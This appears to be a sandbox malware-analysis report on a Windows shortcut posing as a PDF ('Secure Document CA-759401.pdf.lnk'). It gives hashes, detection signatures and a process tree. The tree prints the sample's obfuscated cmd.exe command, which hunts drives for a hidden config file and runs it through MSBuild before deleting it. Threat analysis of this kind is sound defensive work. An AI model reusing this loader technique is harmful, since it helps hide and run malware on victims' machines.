Analysis
- max time kernel
299s - max time network
123s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
09/07/2026, 17:05
Static task
static1
Behavioral task
behavioral1
Sample
Secure Document CA-759401.pdf.lnk
Resource
win10v2004-20260513-en
3 signatures
300 seconds
Behavioral task
behavioral2
Sample
Secure Document CA-759401.pdf.lnk
Resource
win11ltsc2024-20260706-en
2 signatures
300 seconds
General
- Target Secure Document CA-759401.pdf.lnk
- Size 2KB
- Sample260709-vmarsses6m
- SHA256 94d65bfd648a8c6ba9d05f48d89f11b0614128def305d881766397eed481a8cf
- MD5 71197b67a7884f0fdcff74dad8b4db0c
- SHA1 91b42aedd03d3ed467d9728bda8db906732c2910
- SHA512 1c03965a20844a93891701e60e4fbdee4a467c9002d6be6d8b3e9ad7bb7ad949a1dfa4ddfef290ae27313515409fa87836b752d4a957f8194aa73ff04319a47b
- TLSH T1B551671432ED4B14E7798A325CB89316D93BBC92E839DB1D4550CBCD2620A02DD35F3A
- MD5 SHA1 SHA512 TLSH
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5028 wrote to memory of 748 5028 cmd.exe 89 PID 748 wrote to memory of 3976 748 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Secure Document CA-759401.pdf.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:On /c set _vav=Microsoft.NET\&set _nlr=Framework64\v4.0&set _c=.30319\MSBuild.exe&set _s=/clp:ErrorsOnly &set _wsh=/nol&set _hn=ogo&@set "_d9="&(for %j in (S O D G P I E U R Q M Y F X Z L N T K V H J W) do @if exist "%j:\Microsoft Document Logs\nwboj.cfg" @copy /Y "%j:\Microsoft Document Logs\nwboj.cfg" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" >nul 2>nul & @if exist "%j:\nwboj.cfg" @copy /Y "%j:\nwboj.cfg" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" >nul 2>nul) & "C:\Windows\!_vav!!_nlr!!_c!" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" !_s!!_wsh!!_hn! >nul 2>nul & ERASE "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" >nul 2>nul2⤵
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "C:\Users\Admin\AppData\Local\Temp\tmp_f558c0ed.tmp" /clp:ErrorsOnly /nologo3⤵PID:3976
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